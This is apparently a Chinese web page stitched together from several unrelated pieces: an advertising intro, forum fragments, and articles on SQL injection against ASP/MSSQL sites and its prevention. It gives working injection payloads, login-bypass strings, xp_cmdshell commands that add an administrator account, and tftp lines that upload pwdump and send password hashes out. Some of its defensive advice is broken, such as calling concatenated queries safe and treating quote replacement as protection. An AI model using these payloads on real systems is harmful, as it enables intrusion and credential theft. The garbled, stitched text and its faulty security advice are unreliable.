引 言
在固陽等地區(qū),都構(gòu)建了全面的區(qū)域性戰(zhàn)略布局,加強發(fā)展的系統(tǒng)性、市場前瞻性、產(chǎn)品創(chuàng)新能力,以專注、極致的服務(wù)理念,為客戶提供成都網(wǎng)站設(shè)計、成都網(wǎng)站建設(shè) 網(wǎng)站設(shè)計制作專業(yè)公司,公司網(wǎng)站建設(shè),企業(yè)網(wǎng)站建設(shè),品牌網(wǎng)站設(shè)計,成都營銷網(wǎng)站建設(shè),外貿(mào)網(wǎng)站制作,固陽網(wǎng)站建設(shè)費用合理。
隨著B/S模式應(yīng)用開發(fā)的發(fā)展,使用這種模式編寫應(yīng)用程序的程序員也越來越多。但是由于這個行業(yè)的入門門檻不高,程序員的水平及經(jīng)驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數(shù)據(jù)的合法性進行判斷,使應(yīng)用程序存在安全隱患。用戶可以提交一段數(shù)據(jù)庫查詢代碼,根據(jù)程序返回的結(jié)果,獲得某些他想得知的數(shù)據(jù),這就是所謂的SQL Injection,即SQL注入。
SQL注入是從正常的WWW端口訪問,而且表面看起來跟一般的Web頁面訪問沒什么區(qū)別,所以目前市面的防火墻都不會對SQL注入發(fā)出警報,如果管理員沒查看IIS日志的習慣,可能被入侵很長時間都不會發(fā)覺。
但是,SQL注入的手法相當靈活,在注入的時候會碰到很多意外的情況。能不能根據(jù)具體情況進行分析,構(gòu)造巧妙的SQL語句,從而成功獲取想要的數(shù)據(jù),是高手與“菜鳥”的根本區(qū)別。
根據(jù)國情,國內(nèi)的網(wǎng)站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我們從分入門、進階至高級講解一下ASP注入的方法及技巧,PHP注入的文章由NB聯(lián)盟的另一位朋友zwell撰寫,希望對安全工作者和程序員都有用處。了解 ASP注入的朋友也請不要跳過入門篇,因為部分人對注入的基本判斷方法還存在誤區(qū)。大家準備好了嗎?Let's Go...
入門篇
如果你以前沒試過SQL注入的話,那么第一步先把IE菜單=工具=Internet選項=高級=顯示友好 HTTP 錯誤信息前面的勾去掉。否則,不論服務(wù)器返回什么錯誤,IE都只顯示為HTTP 500服務(wù)器錯誤,不能獲得更多的提示信息。
第一節(jié)、SQL注入原理
以下我們從一個網(wǎng)站開始(注:本文發(fā)表前已征得該站站長同意,大部分都是真實數(shù)據(jù))。
在網(wǎng)站首頁上,有名為“IE不能打開新窗口的多種解決方法”的鏈接,地址為:,我們在這個地址后面加上單引號’,服務(wù)器會返回下面的錯誤提示:
Microsoft JET Database Engine 錯誤 '80040e14'
字符串的語法錯誤 在查詢表達式 'ID=49'' 中。
/showdetail.asp,行8
從這個錯誤提示我們能看出下面幾點:
1. 網(wǎng)站使用的是Access數(shù)據(jù)庫,通過JET引擎連接數(shù)據(jù)庫,而不是通過ODBC。
2. 程序沒有判斷客戶端提交的數(shù)據(jù)是否符合程序要求。
3. 該SQL語句所查詢的表中有一名為ID的字段。
從上面的例子我們可以知道,SQL注入的原理,就是從客戶端提交特殊的代碼,從而收集程序及服務(wù)器的信息,從而獲取你想到得到的資料。
第二節(jié)、判斷能否進行SQL注入
看完第一節(jié),有一些人會覺得:我也是經(jīng)常這樣測試能否注入的,這不是很簡單嗎?
其實,這并不是最好的方法,為什么呢?
首先,不一定每臺服務(wù)器的IIS都返回具體錯誤提示給客戶端,如果程序中加了cint(參數(shù))之類語句的話,SQL注入是不會成功的,但服務(wù)器同樣會報錯,具體提示信息為處理 URL 時服務(wù)器上出錯。請和系統(tǒng)管理員聯(lián)絡(luò)。
其次,部分對SQL注入有一點了解的程序員,認為只要把單引號過濾掉就安全了,這種情況不為少數(shù),如果你用單引號測試,是測不到注入點的
那么,什么樣的測試方法才是比較準確呢?答案如下:
①
② ;and 1=1
③ ;and 1=2
這就是經(jīng)典的1=1、1=2測試法了,怎么判斷呢?看看上面三個網(wǎng)址返回的結(jié)果就知道了:
可以注入的表現(xiàn):
① 正常顯示(這是必然的,不然就是程序有錯誤了)
② 正常顯示,內(nèi)容基本與①相同
③ 提示BOF或EOF(程序沒做任何判斷時)、或提示找不到記錄(判斷了rs.eof時)、或顯示內(nèi)容為空(程序加了on error resume next)
不可以注入就比較容易判斷了,①同樣正常顯示,②和③一般都會有程序定義的錯誤提示,或提示類型轉(zhuǎn)換時出錯。
當然,這只是傳入?yún)?shù)是數(shù)字型的時候用的判斷方法,實際應(yīng)用的時候會有字符型和搜索型參數(shù),我將在中級篇的“SQL注入一般步驟”再做分析。
第三節(jié)、判斷數(shù)據(jù)庫類型及注入方法
不同的數(shù)據(jù)庫的函數(shù)、注入方法都是有差異的,所以在注入之前,我們還要判斷一下數(shù)據(jù)庫的類型。一般ASP最常搭配的數(shù)據(jù)庫是Access和SQLServer,網(wǎng)上超過99%的網(wǎng)站都是其中之一。
怎么讓程序告訴你它使用的什么數(shù)據(jù)庫呢?來看看:
SQLServer有一些系統(tǒng)變量,如果服務(wù)器IIS提示沒關(guān)閉,并且SQLServer返回錯誤提示的話,那可以直接從出錯信息獲取,方法如下:
;and user0
這句語句很簡單,但卻包含了SQLServer特有注入方法的精髓,我自己也是在一次無意的測試中發(fā)現(xiàn)這種效率極高的猜解方法。讓我看來看看它的含義:首先,前面的語句是正常的,重點在and user0,我們知道,user是SQLServer的一個內(nèi)置變量,它的值是當前連接的用戶名,類型為nvarchar。拿一個 nvarchar的值跟int的數(shù)0比較,系統(tǒng)會先試圖將nvarchar的值轉(zhuǎn)成int型,當然,轉(zhuǎn)的過程中肯定會出錯,SQLServer的出錯提示是:將nvarchar值 ”abc” 轉(zhuǎn)換數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤,呵呵,abc正是變量user的值,這樣,不廢吹灰之力就拿到了數(shù)據(jù)庫的用戶名。在以后的篇幅里,大家會看到很多用這種方法的語句。
順便說幾句,眾所周知,SQLServer的用戶sa是個等同Adminstrators權(quán)限的角色,拿到了sa權(quán)限,幾乎肯定可以拿到主機的 Administrator了。上面的方法可以很方便的測試出是否是用sa登錄,要注意的是:如果是sa登錄,提示是將”dbo”轉(zhuǎn)換成int的列發(fā)生錯誤,而不是”sa”。
如果服務(wù)器IIS不允許返回錯誤提示,那怎么判斷數(shù)據(jù)庫類型呢?我們可以從Access和SQLServer和區(qū)別入手,Access和 SQLServer都有自己的系統(tǒng)表,比如存放數(shù)據(jù)庫中所有對象的表,Access是在系統(tǒng)表[msysobjects]中,但在Web環(huán)境下讀該表會提示“沒有權(quán)限”,SQLServer是在表[sysobjects]中,在Web環(huán)境下可正常讀取。
在確認可以注入的情況下,使用下面的語句:
;and (select count(*) from sysobjects)0
;and (select count(*) from msysobjects)0
如果數(shù)據(jù)庫是SQLServer,那么第一個網(wǎng)址的頁面與原頁面 49是大致相同的;而第二個網(wǎng)址,由于找不到表msysobjects,會提示出錯,就算程序有容錯處理,頁面也與原頁面完全不同。
如果數(shù)據(jù)庫用的是Access,那么情況就有所不同,第一個網(wǎng)址的頁面與原頁面完全不同;第二個網(wǎng)址,則視乎數(shù)據(jù)庫設(shè)置是否允許讀該系統(tǒng)表,一般來說是不允許的,所以與原網(wǎng)址也是完全不同。大多數(shù)情況下,用第一個網(wǎng)址就可以得知系統(tǒng)所用的數(shù)據(jù)庫類型,第二個網(wǎng)址只作為開啟IIS錯誤提示時的驗證。
進階篇
在入門篇,我們學(xué)會了SQL注入的判斷方法,但真正要拿到網(wǎng)站的保密內(nèi)容,是遠遠不夠的。接下來,我們就繼續(xù)學(xué)習如何從數(shù)據(jù)庫中獲取想要獲得的內(nèi)容,首先,我們先看看SQL注入的一般步驟:
第一節(jié)、SQL注入的一般步驟
首先,判斷環(huán)境,尋找注入點,判斷數(shù)據(jù)庫類型,這在入門篇已經(jīng)講過了。
其次,根據(jù)注入?yún)?shù)類型,在腦海中重構(gòu)SQL語句的原貌,按參數(shù)類型主要分為下面三種:
(A) ID=49 這類注入的參數(shù)是數(shù)字型,SQL語句原貌大致如下:
Select * from 表名 where 字段=49
注入的參數(shù)為ID=49 And [查詢條件],即是生成語句:
Select * from 表名 where 字段=49 And [查詢條件]
(B) Class=連續(xù)劇 這類注入的參數(shù)是字符型,SQL語句原貌大致概如下:
Select * from 表名 where 字段=’連續(xù)劇’
注入的參數(shù)為Class=連續(xù)劇’ and [查詢條件] and ‘’=’ ,即是生成語句:
Select * from 表名 where 字段=’連續(xù)劇’ and [查詢條件] and ‘’=’’
? 搜索時沒過濾參數(shù)的,如keyword=關(guān)鍵字,SQL語句原貌大致如下:
Select * from 表名 where 字段like ’%關(guān)鍵字%’
注入的參數(shù)為keyword=’ and [查詢條件] and ‘%25’=’, 即是生成語句:
Select * from 表名 where字段like ’%’ and [查詢條件] and ‘%’=’%’
接著,將查詢條件替換成SQL語句,猜解表名,例如:
ID=49 And (Select Count(*) from Admin)=0
如果頁面就與ID=49的相同,說明附加條件成立,即表Admin存在,反之,即不存在(請牢記這種方法)。如此循環(huán),直至猜到表名為止。
表名猜出來后,將Count(*)替換成Count(字段名),用同樣的原理猜解字段名。
有人會說:這里有一些偶然的成分,如果表名起得很復(fù)雜沒規(guī)律的,那根本就沒得玩下去了。說得很對,這世界根本就不存在100%成功的黑客技術(shù),蒼蠅不叮無縫的蛋,無論多技術(shù)多高深的黑客,都是因為別人的程序?qū)懙貌粐烂芑蚴褂谜弑C芤庾R不夠,才有得下手。
;url=http%3A//www%2Ebitscn%2Ecom/windows/sql/20060413/898%2Ehtmlb=39a=17user=baidu
首先,注入存在的原因不是SQL本身的漏洞,而是SQL語句的問題,因為SQL語句中存在引號和運算符這類功能符號,如果你對傳遞的參數(shù)不加過濾的話,非法用戶就可以通過輸入這類符號來判斷你的數(shù)據(jù)庫信息,嚴重的可以直接進入數(shù)據(jù)庫中。
比如:
select * from logon where name='123' and pwd='123'
如果用戶在name中輸入 admin' or 1=1 這樣這條語句就可以執(zhí)行了。
這是簡單的原理,具體的注入攻擊比較復(fù)雜。防范的措施可以通過ASP過濾特殊字符,最好的方法是用存儲過程。
把你的sqlserver刪了就不會提示.
你的系統(tǒng)只要能更新最新補丁,就沒有必要用金山漏洞掃描了.要是你的系統(tǒng)更新不了,那就下個正版驗證補丁,之后讓它自動更新就可以.
你機器安裝了MS SQL了嗎?
首先在安裝策略中關(guān)閉1443端口,防火墻也要禁止.更新最新的補丁.
下面的文章,做個參考吧.
從codered到nimda等,一大堆蠕蟲把原來需要人工利用的漏洞都變成了程序自動利用了,大家還想去手工操作這些IIS漏洞么?讓我們調(diào)整重心,去看看服務(wù)器常用的數(shù)據(jù)庫吧。
一般網(wǎng)站都是基于數(shù)據(jù)庫的,特別是ASP、PHP、JSP這樣的用數(shù)據(jù)庫來動態(tài)顯示的網(wǎng)站。很多網(wǎng)站可能多注意的是操作系統(tǒng)的漏洞,但是對數(shù)據(jù)庫和這些腳本的安全總是忽略,也沒有太多注意。
從最比較普遍的腳本問題開始,這些都是老話題了,大家可以參考Hectic寫的《關(guān)于數(shù)據(jù)庫的簡單入侵和無賴破壞,以天融信做例子》,該文章對從SQL腳本問題說得非常詳細。對于腳本安全的解決,也可以通過過濾來實現(xiàn),可以參考我以前寫的。對于ASP來說,可以使用下面這個過濾函數(shù):
Function Filter_SQL(strData)
Dim strFilter
Dim blnFlag
Dim i
strFilter="’,;,//,--,@,_,exec,declare" ’需要過濾的字符,可以自己添加,","是分隔符
blnFlag=Flase ’過濾標志,如果產(chǎn)生過濾,那么就是真
Dim arrayFilter
arrayFilter=Split(strFilter,",")
For i=0 To UBound(arrayFilter)
If Instr(strData,arrayFilter(i))0 Then
blnFlag=True
Exit For
End If
Next
If blnFlag Then
Response.Redirect "wrong.asp"
’當發(fā)現(xiàn)有過濾操作時,導(dǎo)向一個預(yù)定頁面。反正正常訪問用不到的連接請求,總不是好事情。
Else
Filter_SQL=strData
End If
End Function
對于MS SQL
Server數(shù)據(jù)庫來說,安全問題不僅僅局限在腳本上了?!疤鞖⒌奈④洝钡南到y(tǒng)性很強,整個基于WINDOWS系統(tǒng)的應(yīng)用都有很強的關(guān)聯(lián)性,對SQL
Server來說,基本可以把數(shù)據(jù)庫管理和系統(tǒng)管理等同起來了。SQL
Server默認的管理員帳號“sa”的密碼是空的,這給多數(shù)NT服務(wù)器產(chǎn)生一個安全漏洞。小榕的“SQLRCMD”,就能夠利用獲得的數(shù)據(jù)庫管理員帳號執(zhí)行系統(tǒng)命令。
在SQL Server中有很多系統(tǒng)存儲過程,有些是數(shù)據(jù)庫內(nèi)部使用的,還有一些就是通過執(zhí)行存儲過程來調(diào)用系統(tǒng)命令。
系統(tǒng)存儲過程:xp_cmdshell
就是以操作系統(tǒng)命令行解釋器的方式執(zhí)行給定的命令字符串。它就具體語法是:xp_cmdshell
{’command_string’} [, no_output]
xp_cmdshell在默認情況下,只有 sysadmin
的成員才能執(zhí)行。但是,sysadmin也可以授予其他用戶這個執(zhí)行權(quán)限。在早期版本中,獲得 xp_cmdshell
執(zhí)行權(quán)限的用戶在 SQL Server 服務(wù)的用戶帳戶中運行命令??梢酝ㄟ^配置選項配置 SQL Server,以便對 SQL
Server 無 sa 訪問權(quán)限的用戶能夠在SQLExecutiveCmdExec Windows NT 帳戶中運行
xp_cmdshell。在 SQL Server 7.0 中,該帳戶稱為 SQLAgentCmdExec。現(xiàn)在對于SQL
Server2000,只要有一個能執(zhí)行該存儲過程的帳號就可以直接運行命令了。
對于 NT 和 WIN2000,當用戶不是 sysadmin 組的成員時,xp_cmdshell 將模擬使用
xp_sqlagent_proxy_account 指定的 SQL Server 代理程序的代理帳戶。如果代理帳戶不能用,則
xp_cmdshell 將失敗。所以即使有一個帳戶是master數(shù)據(jù)庫的db_owner,也不能執(zhí)行這個存儲過程。
如果我們有一個能執(zhí)行xp_cmdshell的數(shù)據(jù)庫帳號,比如是空口令的sa帳號。那么我們可以執(zhí)行這樣的命令:
exec xp_cmdshell ’net user refdom 123456 /add’
exec xp_cmdshell ’net localgroup administrators refdom /add’
上面兩次調(diào)用就在系統(tǒng)的管理員組中添加了一個用戶:refdom
當我們獲得數(shù)據(jù)庫的sa管理員帳號后,就應(yīng)該可以完全控制這個機器了。可見數(shù)據(jù)庫安全的重要性。
下面這些存儲過程都是對Public可以執(zhí)行的:
xp_fileexist,用來確定一個文件是否存在。
xp_getfiledetails,可以獲得文件詳細資料。
xp_dirtree,可以展開你需要了解的目錄,獲得所有目錄深度。
Xp_getnetname,可以獲得服務(wù)器名稱。
還有可以操作注冊表的存儲過程,這些不是對Public可以執(zhí)行的,需要系統(tǒng)管理員或者授權(quán)執(zhí)行:
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regread (對Public可以執(zhí)行)
Xp_regremovemultistring
Xp_regwrite
SQL Server的安全配置
除跟著微軟打滿所有補丁外,還需要加強數(shù)據(jù)庫的安全。
首先,你需要加強象sa這樣的帳號的密碼,跟系統(tǒng)帳號的使用配置相似,一般操作數(shù)據(jù)庫不要使用象sa這樣的最高權(quán)限的帳號,而使用能滿足你的要求的一般帳號。
接著對擴展存儲過程開始大屠殺,首先就是xp_cmdshell,還有就是上面那些一大堆存儲過程,都drop吧,一般也用不著。
執(zhí)行:
use master
sp_dropextendedproc ’xp_cmdshell’
去掉guest帳號,阻止非授權(quán)用戶訪問。
去掉不必要的網(wǎng)絡(luò)協(xié)議。
加強對數(shù)據(jù)庫登陸的日志記錄,最好記錄所有登陸事件??梢杂孟旅娴暮唵蜠OS命令來查看日志:
findstr /C:"登錄" d:\Microsoft SQL Server\MSSQL\LOG\*.*
用管理員帳號定期檢查所有帳號,是否密碼為空或者過于簡單,比如下面的語句:
Use master
Select name,Password from syslogins where password is null
用下面語句對所有帳號,檢查對存儲過程和擴展存儲過程的執(zhí)行權(quán),提防不必要的執(zhí)行權(quán)限擴散:
Use master
Select sysobjects.name From sysobjects, sysprotects Where
sysprotects.uid = 0 AND xtype IN (’X’,’P’) AND sysobjects.id =
sysprotects.id
加強數(shù)據(jù)庫的安全是非常重要的,有的數(shù)據(jù)庫服務(wù)器是和WEB服務(wù)器隔離開的,這就同MAIL服務(wù)器一樣,數(shù)據(jù)庫的日志可能就基本很少去查看,這將會成為管理員的一個疏忽點。類似DNS、MAIL等等,數(shù)據(jù)庫服務(wù)器往往成為各種入侵的跳板。
下面是一些關(guān)于數(shù)據(jù)庫的問答和技巧:
1、獲得SA權(quán)限后,卻不能執(zhí)行xp_cmdshell存儲過程怎么辦?
答:可能是已經(jīng)把xp_cmdshell等擴展存儲過程刪除了,可以用這個存儲過程把xp_cmdshell恢復(fù)。
sp_addextendedproc ’xp_cmdshell’, ’xpsql70.dll’
2、通過數(shù)據(jù)庫用pwdump獲得系統(tǒng)管理員密碼
先上傳一個pwdump
tftp -i GET pwdump3.exe pwdump3.exe
tftp -i GET lsaext.dll lsaext.dll
tftp -i GET pwservice.exe pwservice.exe
pwdump3 127.0.0.1 outfile.txt
tftp PUT outfile.txt outfile.txt
然后再用解密工具l0pht等等破解這些密碼。
3、從數(shù)據(jù)庫讀取系統(tǒng)管理員密碼。
能讀出加密的密碼是NT的"administrator"帳號也不能做的,SQL
Server能讀出來是使用的“LocalSystem”帳號,這個帳號比administrator更高一級??梢允褂孟旅孢@個存儲過程。不過讀出來的密碼是經(jīng)過加密后的,然后再解密吧。
xp_regread
’HKEY_LOCAL_MACHINE’,’SECURITY\SAM\Domains\Account’,’F’
以下是OMG我為大家收集整理的文章,希望對大家有所幫助。
SQL注入(SQLInjection)漏洞攻擊是目前網(wǎng)上最流行最熱門的黑客腳本攻擊方法之一,那什么是SQL注入漏洞攻擊呢?它是指黑客利用一些Web應(yīng)用程序(如:網(wǎng)站、論壇、留言本、文章發(fā)布系統(tǒng)等)中某些存在不安全代碼或SQL語句不縝密的頁面,精心構(gòu)造SQL語句,把非法的SQL語句指令轉(zhuǎn)譯到系統(tǒng)實際SQL語句中并執(zhí)行它,以獲取用戶名、口令等敏感信息,從而達到控制主機服務(wù)器的攻擊方法。
1. SQL注入漏洞攻擊原理
1. 1 SQL注入漏洞攻擊實現(xiàn)原理
SQL(Structured Query Language)是一種用來和數(shù)據(jù)庫交互的語言文本。SQL注入的攻擊原理就是攻擊者通過Web應(yīng)用程序利用SQL語句或字符串將非法的數(shù)據(jù)插入到服務(wù)器端數(shù)據(jù)庫中,獲取數(shù)據(jù)庫的管理用戶權(quán)限,然后將數(shù)據(jù)庫管理用戶權(quán)限提升至操作系統(tǒng)管理用戶權(quán)限,控制服務(wù)器操作系統(tǒng),獲取重要信息及機密文件。
SQL注入漏洞攻擊主要是通過借助于HDSI、NBSI和Domain等SQL注入漏洞掃描工具掃描出Web頁面中存在的SQL注入漏洞,從而定位SQL注入點,通過執(zhí)行非法的SQL語句或字符串達到入侵者想要的操作。下面以一段身份驗證的.NET代碼為例,說明一下SQL 注入攻擊的實現(xiàn)方法。
SqlConnectionnwConn = new SqlConnection((string)ConfigurationSettings.AppSettings["DBconnStrings"]); string queryStr = "SELECT userid,userpwd, username,type FROM users where userid='" + Txtusername.Text +"'";
DataSet userSet = new DataSet();
SqlDataAdapter userAdapter = newSqlDataAdapter(queryStr, nwConn);
userAdapter.Fill(userSet, "Users");
Session["UserID"] =Txtusername.Text.ToString();
Session["type"] =type.Text.ToString();
Response.Redirect("/Myweb/admin/login.aspx");
從上面的代碼中可以看出,程序在與數(shù)據(jù)庫建立連接得到用戶數(shù)據(jù)之后,直接將username的值通過session傳給login.aspx,沒有進行任何的過濾和處理措施, 直接用來構(gòu)造SQL 語句, 其危險系數(shù)是非常高的, 攻擊者只要根據(jù)SQL 語句的編寫規(guī)則就可以繞過身份驗證,從而達到入侵的目的。
1. 2 SQL注入漏洞攻擊分析
SQL注入可以說是一種漏洞,也可以說是一種攻擊。當程序中的變量處理不當,沒有對用戶提交的數(shù)據(jù)類型進行校驗,編寫不安全的代碼,構(gòu)造非法的SQL語句或字符串,都可能產(chǎn)生這個漏洞。
例如Web系統(tǒng)有一個login頁面,這個login頁面控制著用戶是否有權(quán)訪問,要求用戶輸入一個用戶名和口令,連接數(shù)據(jù)庫的語句為:
“select * from users where username = 'username' andpassword = 'password'”
攻擊者輸入用戶名為aa or 1=1口令為1234 or 1=1之類的內(nèi)容。我們可以看出實際上攻擊者并不知道真正的用戶名、口令,該內(nèi)容提交給服務(wù)器之后,服務(wù)器執(zhí)行攻擊者構(gòu)造出的SQL命令,但由于攻擊者輸入的內(nèi)容非常特殊,所以最后得到的SQL命令變成:
“select * from users where username = 'aa' or 1=1 andpassword = '1234' or 1=1”
服務(wù)器執(zhí)行查詢或存儲過程,將用戶輸入的身份信息和數(shù)據(jù)庫users表中真實的身份信息進行核對,由于SQL命令實際上已被修改,存在永遠成立的1=1條件,因此已經(jīng)不能真正驗證用戶身份,所以系統(tǒng)會錯誤地授權(quán)攻擊者訪問。
SQL 注入是通過目標服務(wù)器的80端口進行的,是正常的Web訪問,防火墻不會對這種攻擊發(fā)出警告或攔截。當Web服務(wù)器以普通用戶的身份訪問數(shù)據(jù)庫時,利用SQL注入漏洞就可能進行創(chuàng)建、刪除、修改數(shù)據(jù)庫中所有數(shù)據(jù)的非法操作。而當數(shù)據(jù)庫以管理用戶權(quán)限的身份進行登錄時,就可能控制整個數(shù)據(jù)庫服務(wù)器。
SQL注入的方法很多,在以手動方式進行攻擊時需要構(gòu)造各種各樣的SQL語句,所以一般攻擊者需要豐富的經(jīng)驗和耐心,才能繞過檢測和處理,提交語句,從而獲得想要的有用信息。這個過程需要花費很多的時間,如果以這種手動方式進行SQL注入漏洞攻擊,許多存在SQL注入漏洞的ASP、JSP、PHP、JAVA等網(wǎng)站就會安全很多了,不是漏洞不存在了,而是手動入侵者需要編程基礎(chǔ),但現(xiàn)在攻擊者可以利用一些現(xiàn)成的黑客工具來輔助SQL注入漏洞攻擊,加快入侵的速度,使SQL注入變得輕而易舉。
由于SQL注入漏洞攻擊利用的是通用的SQL語法,使得這種攻擊具有廣泛性。理論上說,對于所有基于SQL語言的數(shù)據(jù)庫管理系統(tǒng)都是有效的,包括MSSQLServer、Oracle、DB2、Sybase和MySQL等。當然,各種系統(tǒng)自身的SQL擴展功能會有所不同,因此最終的攻擊代碼可能不盡相同。
1. 3 SQL注入漏洞攻擊過程
(1)繞過身份驗證
如一個login界面,需要輸入用戶名和口令,然后Post到另一個頁面,進行身份驗證,因此攻擊者只需在用戶名和口令的輸入框中都輸入aa or’1’=’1’的內(nèi)容,那么攻擊者就可以通過欺騙的驗證方式而直接進入下一個頁面,并擁有和正常登錄用戶一樣的全部特權(quán)。原因是什么呢? 我們比較一下正常用戶登錄和攻擊者登錄時的兩種SQL語句:
1)正常用戶(如用戶名為admin,口令為1234567) :
SQL= " selectfrom users where username = ’admin’and password= ’1234567’ ";
2)攻擊者(用戶名和口令都為aa or’1’=’1’) :
SQL= " select * from users where username='aa or’1’=’1’'and password = ' aa or’1’=’1’'";
可以看到由and連接的兩個條件都被一個永遠成立的1=1所代替,執(zhí)行的結(jié)果為true,數(shù)據(jù)庫會認為條件恒成立,會返回一個true,讓攻擊者以合法身份登錄進入下一個頁面。
(2)執(zhí)行非法操作
如一個查詢頁面select1.asp? id=1,編程人員原本設(shè)計意圖是顯示id為1的查詢信息,而攻擊者利用程序中沒有對id內(nèi)容進行檢查的機制,插入自己的代碼。
從select1.asp中摘錄一段關(guān)鍵代碼:
SQL= " select *from photo where photoid= 'id'";
可以看到,id沒有進行任何的處理,直接構(gòu)成SQL語句并執(zhí)行,而攻擊者在知道該系統(tǒng)數(shù)據(jù)庫中表名及字段名的情況下,利用SQL語句特性(分號是將兩句SQL 語句分開的符號),直接向數(shù)據(jù)庫Tuser表中添加記錄:
select1.asp? id= 1;Insertinto Tuser (username,password,type) values ('hack','1234567','管理員'),然后攻擊者就可以直接用hack進行登錄了。通過這樣的方法,攻擊者還可以對系統(tǒng)做任何的事情,包括添加、刪除、修改系統(tǒng)資源的操作。
(3)執(zhí)行系統(tǒng)命令
如果Web主機使用MSSQL數(shù)據(jù)庫管理系統(tǒng),那么攻擊者就可以用到xp_cmdshell這個擴展存儲過程,xp_cmdshell是一個非常有用的擴展存儲過程,用于執(zhí)行系統(tǒng)命令,比如dir、net等,攻擊者可以根據(jù)程序的不同,提交不同的語句:
execmaster.dbo.xp_cmdshell " dir "; exec master.dbo.xp_cmdshell" net user hack 1234567 /add ";
execmaster.dbo.xp_cmdshell " net localgroup administrators hack /add ";
這樣就可以向Web主機系統(tǒng)中成功添加了一個管理員帳戶。
2. SQL注入漏洞攻擊的檢測方式及方法
2. 1檢測方式
SQL注入漏洞攻擊檢測分為入侵前的檢測和入侵后的檢測。入侵前的檢測,可以通過手工方式,也可以使用SQL注入漏洞掃描工具軟件。檢測的目的是為預(yù)防SQL注入漏洞攻擊,而對于SQL注入漏洞攻擊后的檢測,主要是針對審計日志的查看,SQL注入漏洞攻擊成功后,會在Web Service和數(shù)據(jù)庫的審計日志中留下“痕跡”。
2. 2檢測方法
(1)動態(tài)SQL檢查
動態(tài)的SQL語句是一個進行數(shù)據(jù)庫查詢的強大的工具,但把它和用戶輸入混合在一起就使SQL注入成為了可能。將動態(tài)的SQL語句替換成預(yù)編譯的SQL或者存儲過程對大多數(shù)應(yīng)用程序是可行的。預(yù)編譯的SQL或者存儲過程可以將用戶的輸入作為參數(shù)而不是命令來執(zhí)行,這樣就限制了入侵者的行動。當然,它不適用于存儲過程中利用用戶輸入來生成SQL命令的情況。在這種情況下,用戶輸入的SQL命令仍可能得到執(zhí)行,數(shù)據(jù)庫仍然存在SQL注入漏洞攻擊的危險。
(2)有效性校驗
如果一個輸入框只可能包括數(shù)字,那么要通過驗證確保用戶輸入的都是數(shù)字。如果可以接受字母,檢查是不是存在不可接受的字符,那就需要設(shè)置字符串檢查功能。確保應(yīng)用程序要檢查以下字符:分號、等號、破折號、括號以及SQL關(guān)鍵字。
(3)數(shù)據(jù)表檢查
使用SQL注入漏洞攻擊工具軟件進行SQL注入漏洞攻擊后,都會在數(shù)據(jù)庫中生成一些臨時表。通過查看數(shù)據(jù)庫中最近新建的表的結(jié)構(gòu)和內(nèi)容,可以判斷是否曾經(jīng)發(fā)生過SQL注入漏洞攻擊。
(4)審計日志檢查
在Web服務(wù)器中如果啟用了審計日志功能,則Web Service審計日志會記錄訪問者的IP地址、訪問時間、訪問文件等信息,SQL注入漏洞攻擊往往會大量訪問某一個頁面文件(存在SQL注入點的動態(tài)網(wǎng)頁),審計日志文件會急劇增加,通過查看審計日志文件的大小以及審計日志文件中的內(nèi)容,可以判斷是否發(fā)生過SQL注入漏洞攻擊事件;另外還可以通過查看數(shù)據(jù)庫審計日志,查詢某個時間段是否有非法的插入、修改、刪除操作。
(5)其他
SQL注入漏洞攻擊成功后,入侵者往往會添加特權(quán)用戶(如:administrator、root、sa等)、開放非法的遠程服務(wù)以及安裝木馬后門程序等,可以通過查看用戶帳戶列表、遠程服務(wù)開啟情況、系統(tǒng)最近日期產(chǎn)生的一些文件等信息來判斷是否發(fā)生過入侵。
3. SQL注入漏洞防范措施
SQL注入漏洞攻擊的防范方法有很多種,現(xiàn)階段總結(jié)起來有以下方法:
(1)數(shù)據(jù)有效性校驗。如果一個輸入框只可能包括數(shù)字,那么要通過校驗確保用戶輸入的都是數(shù)字。如果可以接受字母,那就要檢查是不是存在不可接受的字符,最好的方法是增加字符復(fù)雜度自動驗證功能。確保應(yīng)用程序要檢查以下字符:分號、等號、破折號、括號以及SQL關(guān)鍵字。另外限制表單數(shù)據(jù)輸入和查詢字符串輸入的長度也是一個好方法。如果用戶的登錄名最多只有10個字符,那么不要認可表單中輸入10個以上的字符,這將大大增加攻擊者在SQL命令中插入有害代碼的難度。
(2)封裝數(shù)據(jù)信息。對客戶端提交的數(shù)據(jù)進行封裝,不要將數(shù)據(jù)直接存入cookie中,方法就是在編程的代碼中,插入session、if、try、else,這樣可以有效地防止攻擊者獲取cookie中的重要信息。
(3)去除代碼中的敏感信息。將在代碼中存在的用戶名、口令信息等敏感字段刪除,替換成輸入框。
SQL=" select from users where username = ’admin’and password= ’1234567’ "
如:這樣顯然會暴露管理員的用戶名、口令信息??梢詫⑵湫薷某桑?/p>
SQL= " select * from users where username='" +Txtuser.Text + "' and userpwd='" + Textpwd.Text + "'"
這樣就安全了很多,入侵者也是不會輕易的就獲取到用戶名、口令信息。
(4)替換或刪除單引號。使用雙引號替換掉所有用戶輸入的單引號,這個簡單的預(yù)防措施將在很大程度上預(yù)防SQL注入漏洞攻擊,單引號時常會無法約束插入數(shù)據(jù)的Value,可能給予輸入者不必要的權(quán)限。用雙引號替換掉單引號可以使大部分SQL注入漏洞攻擊失敗。 如:
“select* from users where username='" + admin + "' and userpwd='" + 1234567+ "'”
顯然會得到與
“select * from users where username='admin' and password= '1234567'”
相同的結(jié)果。
(5)指定錯誤返回頁面。攻擊者有時從客戶端嘗試提交有害代碼和攻擊字符串,根據(jù)Web Service給出的錯誤提示信息來收集程序及服務(wù)器的信息,從而獲取想得到的資料。應(yīng)在Web Service中指定一個不包含任何信息的錯誤提示頁面。
(6)限制SQL字符串連接的配置文件。使用SQL變量,因為變量不是可以執(zhí)行的腳本,即在Web頁面中將連接數(shù)據(jù)庫的SQL字符串替換成指定的Value,然后將Web.config文件進行加密,拒絕訪問。
(7)設(shè)置Web目錄的訪問權(quán)限。將虛擬站點的文件目錄禁止游客用戶(如:Guest用戶等)訪問,將User用戶權(quán)限修改成只讀權(quán)限,切勿將管理權(quán)限的用戶添加到訪問列表。
(8)最小服務(wù)原則。Web服務(wù)器應(yīng)以最小權(quán)限進行配置,只提供Web服務(wù),這樣可以有效地阻止系統(tǒng)的危險命令,如ftp、cmd、vbscript等。
